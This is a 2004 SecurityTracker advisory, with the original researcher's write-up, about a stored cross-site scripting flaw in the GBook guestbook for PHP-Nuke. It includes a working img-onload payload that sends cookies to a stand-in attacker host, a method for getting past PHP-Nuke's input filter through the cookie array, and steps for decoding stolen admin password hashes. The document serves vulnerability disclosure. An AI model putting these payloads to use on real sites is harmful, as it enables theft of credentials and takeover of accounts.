SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   GBook Vendors:   PHP-Mania.com.ar
GBook Input Validation Flaws Let Remote Users Conduct Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1008930
SecurityTracker URL:  http://securitytracker.com/id/1008930
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Feb 3 2004
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
Exploit Included:  Yes  
Version(s): 1.0
Description:   A vulnerability was reported in the GBook guest book for PHP-Nuke. A remote user can conduct cross-site scripting attacks to steal the administrator's login credentials.

Janek Vind ("waraxe") reported that GBook does not validate user-supplied input in any of the fields, including 'name', 'email', 'city', and 'message'. Because PHP-Nuke filters the variables in a submitted GBook POST request, it is not possible to directly insert '<script> tags into those variables, the report said. However, scripting code can reportedly be injected via the $_COOKIE array or can be injected via image source tags, as shown:

<img src="images/pix.gif" width="1" height="1" onload="waraxe.src='http://attacker.com/steal.php?stuff='+escape(document.cookie);">

A remote user can create specially crafted HTML that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the GBook software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A demonstration exploit is available at:

http://www.zone.ee/waraxe/sa001/steal.php

With the username and md5 password hash of a target user, the remote user can then login to the guest book as the target user.

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the GBook software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   No solution was available at the time of this entry.
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [waraxe-2004-SA#001] - Script injection in GBook for Php-Nuke






{================================================================================}
{                             [waraxe-2004-SA#001]                               }
{================================================================================}
{                                                                                }
{           [ Script injection in GBook for Php-Nuke ver. 1.0 ]                  }
{                                                                                }
{================================================================================}
                                                                
Author: Janek Vind "waraxe"

Date:   02 Feb 2004



Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Php-Nuke is popular freeware content management system, written in php by



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Gbook script does`nt sanityze user input at all, so anybody, who can make entries
to guestbook, can inject there potentially hostile html tags. This can lead to
cookie stealing and extracting usernames and password md5 hashes for Php-Nuke.



Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Html tags can be injected on many places on guestbook entry - "name", "email",
"city","message", etc. Choose what you prefer.
Next, GBook uses POST request to submit data to server, but Php-Nuke itself has
filter for $_POST[] variables:

##### Php-Nuke 7.0 mainfile.php line 56 #######################################

foreach ($_POST as $secvalue) {
    if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) ||	(eregi("<[^>]*style*\"?[^>]*>", $secvalue))) {
       die ("<center><img src=images/logo.gif><br><br><b>The html tags you attempted to use are not allowed
           </b><br><br>[ <a href=\"javascript:history.go(-1)\"><b>Go Back</b></a> ]");
    }
}

###############################################################################

So we can`t directly inject &lt;script&gt; tags to guestbook entry. But we have many
methods to bypass this filter. I will offer 2 methods:

1. We can use $_COOKIE array to transport variable with "&lt;script&gt;" tags to GBook
script. Yes, it`s true - Php-Nuke will not filter $_COOKIE array at all!
This can be done by manually editing browser cookies or by using speacially
crafted script.


2. There are many methods to use javascripting without &lt;script&gt; and <style> tags.
Example:

    <img src="foobar" name="waraxe" width="1" height="1">
    <img src="images/pix.gif" width="1" height="1" onload="waraxe.src='
    http://attacker.com/steal.php?stuff='+escape(document.cookie);">
    Your message here...



Ok, we have now cookies from Php-Nuke users, hopefully from admin too, and we need to
extract usernames and password md5 hashes from them. Just find cookie fields named
"admin" and/or "user" and base64_decode() them!
Example php implementation can be found on url:


http://www.zone.ee/waraxe/sa001/steal.php


And finally - if we have usernames and password md5 hashes, we have many choices:

1. We can try to crack md5 hashes to reveal real password.

2. Modify browser cookie manually and then access Php-Nuke site with stolen ID.

3. If we have "superadmin"`s username and pwd md5 hash, then perl script


http://www.zone.ee/waraxe/sa001/god.pl.php


can create additional superadmin account for attacker.



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Greets to ulljobu, djzone, raider and to all computer freaks on Estonia!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe@yahoo.com
    Janek Vind "waraxe"

---------------------------------- [ EOF ] ------------------------------------

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, SecurityGlobal.net LLC